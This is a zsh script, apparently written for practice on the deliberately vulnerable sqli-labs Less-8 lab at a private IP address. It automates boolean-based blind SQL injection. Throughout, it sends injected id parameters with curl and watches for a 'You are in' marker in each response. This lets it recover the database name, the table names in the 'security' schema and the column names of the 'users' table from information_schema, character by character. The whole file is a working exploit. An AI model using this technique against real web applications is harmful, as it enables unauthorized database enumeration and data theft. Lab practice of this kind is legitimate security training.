#!/usr/bin/zsh

flag="You are in..........."
charset=({a..z} {0..9})
numset=({1..20})

cond=
len=1
lens=()

get_url () {
  # cond is string (func name)
    local cc=$($cond)
    cc=${cc//\ /%20}
    echo "http://192.168.3.115/sqli-labs/Less-8/?id=1%27and%20if($cc,1,0)%23"
}

db_length=0
db_name=

amount=0
# arrVar+=("Dish Washer")

# 01. get_length()

get_length() {
  # $1 is 传入的是 函数
  local l=0

  for i in {1..15} 
  do
    # echo $1
    local url=$(get_url)
    # status 0 表示正常退出
    curl -s "${url}" | grep -q "$flag"
    if [ $? -eq 0 ];then
      l=$i
      break
    fi 
  done
  echo $l
}

# 设置好 url，a：cond 自动获取
get_lengths() {
  # read amount
  local l
  lens=()
  for lim in {0..$(( $amount-1 ))}
  do
    lens+=($(get_length))
    # echo $(get_length)
  done
  <<< $lens
}

get_name() {
  # len: global
  # read line
  # echo $line
  # len=${line:-len}
  # echo $len
  local name=""

  for i in {1..$len} 
  do
    for c in {97..122}
    do
      local url=$(get_url)
      # status 0 表示正常退出
      # echo $url
      curl -s "${url}" | grep -q "$flag"
      if [ $? -eq 0 ];then
        name="$name"`echo $c | awk '{printf("%c", $1)}'`
        break
      fi
    done
  done
  echo $name
}

lens_2_names() {
  local names=()
  for lim in {1..$amount}
  do
    len=$lens[$lim]
    let lim-=1
    names+=$(get_name)
  done

  <<< $names
}

# 1 db

cond_db_length() {
    echo "length(database())=${i}"
}

cond=cond_db_length
db_length=$(get_length);

echo "db length: $db_length"

function cond_db_name() {
  echo "ascii(substr(database(),${i},1))=${c}"
}

cond=cond_db_name
len=$db_length
db_name=$(get_name);

echo "db_name is: ${db_name}"

# 2 table
# 2.1 amount
cond=cond_tb_amount
cond_tb_amount() {
  echo "(select count(*)table_name from information_schema.tables where table_schema='security')=${i}"
}
amount=$(get_length)
echo "amount" $amount

# 2.2 lengths
cond=cond_tb_lengths
function cond_tb_lengths() {
  echo "(select length(table_name) from information_schema.tables where table_schema='security' limit ${lim},1)=${i}"
}
lens=($(get_lengths)) && echo "lens: $lens"

# 2.3 names
cond=cond_tb_names
function cond_tb_names() {
    echo "ascii(substr((select table_name from information_schema.tables where table_schema='security' limit ${lim},1),$i,1))=${c}"
}
tb_names=($(lens_2_names));

echo "tables: $tb_names"


# 3 colmns

cond=cond_col_amount
function cond_col_amount() {
  echo "(select count(*)column_name from information_schema.columns where table_schema='security'and table_name='users')=${i}"
}
amount=$(get_length)
echo amount: $amount

cond=cond_col_lengths
function cond_col_lengths() {
    echo "(select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit ${lim},1)=${i}"
}
lens=($(get_lengths))
echo "lens $lens"


cond=cond_col_names
function cond_col_names() {
  echo "ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit ${lim},1),${i},1))=${c}"
}
col_names=($(lens_2_names))
echo $col_names
